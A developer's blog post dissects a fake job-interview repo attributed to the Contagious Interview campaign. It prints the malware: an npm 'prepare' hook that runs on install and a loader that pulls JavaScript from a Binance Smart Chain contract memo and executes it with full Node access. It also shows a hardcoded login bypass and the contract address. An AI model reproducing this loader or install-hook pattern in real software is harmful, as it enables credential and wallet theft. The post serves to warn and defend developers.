A recruiter hit me up about a Web3 developer position at Limit Break. Good salary, interesting project, the whole package
They sent me a GitHub repo to review as a take-home assignment. A poker platform built with React, Express, Socket.io, and ethers.js
I almost ran it
Instead I decided to audit the code first. What I found was a sophisticated malware delivery system that hides its payload on the Binance Smart Chain and executes it the moment you type npm install
This is the full breakdown of how it works
The Setup
The repo lives at github.com/LimitBreakOrgs/bet_ver_1. At first glance it looks completely legit. Clean folder structure, proper README, real dependencies, hundreds of lines of game logic
bet_ver_1/
├── server/ # Express backend
│ ├── controllers/ # Auth, chips, users, collection
│ ├── middleware/ # JWT, rate limiting, sanitization
│ ├── pokergame/ # Table, Player, Deck classes
│ └── socket/ # Socket.io game events
├── src/ # React frontend
│ ├── components/ # Poker table UI, cards, betting
│ ├── context/ # State management
│ └── utils/ # MetaMask wallet integration
└── package.json
It even has security middleware set up — mongo sanitization, XSS protection, rate limiting, JWT auth. Someone put real effort into making this look like a production codebase
The First Red Flags
When I started digging I noticed things that didn’t add up
The GitHub org is fake. The real Limit Break is at github.com/limitbreakinc with 18 repos, Solidity smart contracts, and years of history. “LimitBreakOrgs” has exactly one repo, zero public members, created two weeks ago
Chess events in a poker game. The socket packet file defines events like CS_SelectPiece, CS_PerformMove, CS_PawnTransform. These are chess events. In a poker application. The code was clearly copy-pasted from multiple unrelated projects
Authentication is broken on purpose. In the auth controller the password check is hardcoded:
// server/controllers/auth.js
const isMatch = true; // should be: await bcrypt.compare(password, user.password)
Any password works for any account. This isn’t a bug — you don’t accidentally write const isMatch = true and skip the bcrypt import
The .env file is committed. The .gitignore excludes .env.local but not .env itself. The file is right there in the repo with API keys and secrets. They want you to think “oh cool it’s ready to run, I just need to install”
The Trap: package.json
Here’s where it gets interesting. Look at the scripts section:
{
"scripts": {
"start": "node server/server.js | react-scripts start",
"prepare": "node server/server.js"
}
}
The prepare lifecycle script runs automatically during npm install. Not npm start. Not npm run build. Just npm install
The moment you install dependencies, server/server.js executes
The Payload: Blockchain-Hosted Malware
server.js looks normal. Express app, middleware, routes, Socket.io. But at the end of startup it calls one function:
// server/server.js
const { configureCollection } = require("./controllers/collection");
// ... normal express setup ...
startServer(); // inside the listen callback:
configureCollection(); // <-- this is the trigger
And here’s configureCollection:
// server/controllers/collection.js
const { ethers } = require("ethers");
const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;
const CONTRACT_ABI = [
"function getMemo(uint256) view returns (string)"
];
const TX_ID = 1;
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);
async function configureCollection() {
const contract = new ethers.Contract(
NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider
);
const memo = await contract.getMemo(TX_ID);
ContentAsWeb(memo);
}
It connects to a smart contract on Binance Smart Chain at address 0xE251b37Bac8D85984d96da55dc977A609716EBDc. It reads a memo field from transaction ID 1. That memo contains a string
A string of JavaScript code
Then it executes it:
function ContentAsWeb(payload) {
if (!payload || typeof payload !== "string") return;
try {
new Function(payload); // validates it's parseable JS
} catch (err) { return; }
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require); // executes with full Node.js access
} catch (err) {
console.error("ensureWeb error", err.message);
}
}
new Function("require", payload) creates a function from the string fetched from the blockchain. Then ensureWeb(require) executes it — passing in Node.js require so the payload can import any module it wants
Why This Is Brilliant (and Terrifying)
This design is clever for several reasons:
The malware isn’t in the repo. GitHub’s security scanners, npm audit, and any static analysis tool will find nothing. The actual payload lives on-chain
It’s mutable. The attacker can update the smart contract’s memo field at any time. Today it might steal wallets. Tomorrow it might install a keylogger. The repo never changes
It uses new Function() instead of eval(). Most linters and security tools flag eval(). Fewer flag new Function() even though it’s equally dangerous
The function names are camouflaged. configureCollection, ContentAsWeb, ensureWeb — these all sound like legitimate utility functions. You’d have to read every line carefully to notice what they actually do
It passes require explicitly. new Function() doesn’t have access to the module scope by default. By passing require as a parameter, they give the payload full access to Node.js — filesystem, networking, child processes, everything
What the Payload Can Do
With require available, the on-chain JavaScript can:
require('fs')— Read your SSH keys, wallet files,.envfiles, browser profilesrequire('child_process')— Run any shell command on your machinerequire('https')— Send everything to the attacker’s serverrequire('os')— Fingerprint your machine, find your home directoryrequire('path')— Navigate to known wallet locations
The typical target list for these attacks: MetaMask vaults, Phantom wallet data, SSH private keys, AWS credentials, browser cookies, password manager databases
The Bigger Picture
This isn’t a one-off. This is the Contagious Interview campaign, widely attributed to North Korea’s Lazarus Group. They’ve been running variations of this since 2024 and have stolen millions
The playbook is always the same:
- Create a fake company profile or impersonate a real one
- Approach developers on LinkedIn/Telegram with a job offer
- Conduct a convincing interview process
- Send a “take-home assignment” GitHub repo
- The repo runs malware on install or startup
- Drain wallets, steal credentials, install persistent backdoors
They specifically target crypto developers because crypto developers tend to have crypto wallets on their development machines
How to Protect Yourself
Before running any interview take-home:
- Verify the company. Check the actual GitHub org, not just the name. Cross-reference with LinkedIn, the company website, and Crunchbase
- Read
package.jsonfirst. Look atprepare,preinstall,postinstall, andinstallscripts. If any of them run server code, that’s a red flag - Search for
new Function,eval,child_process, andexec. These are common payload execution patterns - Check for blockchain calls in non-blockchain projects. A poker app doesn’t need
ethers.jsconnecting to BSC at startup - Use a sandbox. Docker container, VM, or at minimum a separate user account with no access to your wallets or credentials
- Check the .gitignore. If
.envis committed with real-looking keys, they want you to run it as-is without thinking
General hygiene:
- Never keep hot wallets on your development machine
- Use hardware wallets for any significant holdings
- Keep SSH keys passphrase-protected
- Don’t store API keys in environment variables on your main machine
The Contract
For the security researchers reading this, the malicious contract is at:
- Address:
0xE251b37Bac8D85984d96da55dc977A609716EBDc - Network: Binance Smart Chain (RPC:
bsc-dataseed1.binance.org) - Method:
getMemo(uint256)with TX_ID1 - Repo:
github.com/LimitBreakOrgs/bet_ver_1
If you’re analyzing this, do it in an isolated environment
Final Thought
I got lucky because I’m paranoid about running other people’s code. Not everyone is. If you’re a developer getting job offers in crypto, the code review starts with the take-home assignment itself — not the code inside it
Stay safe out there
Originally published at jovweb.dev